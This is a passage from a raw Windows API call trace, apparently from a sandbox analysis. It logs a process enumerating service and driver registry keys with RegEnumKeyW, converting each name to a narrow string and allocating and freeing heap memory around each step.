lpMultiByteStr=0x21f1ad8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.520] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.520] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0206.520] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.521] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1ad8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.521] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.521] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0206.521] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.521] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.522] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.522] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.522] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.522] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.522] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0206.522] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.523] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.523] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.523] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0206.523] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.524] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0206.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0206.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.524] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0206.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0206.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.524] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0206.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0206.524] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.524] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.524] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0206.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0206.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.525] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0206.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0206.525] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.525] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.526] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.526] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.526] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.526] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.526] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0206.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.526] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0206.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0206.527] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0206.527] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0206.527] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, 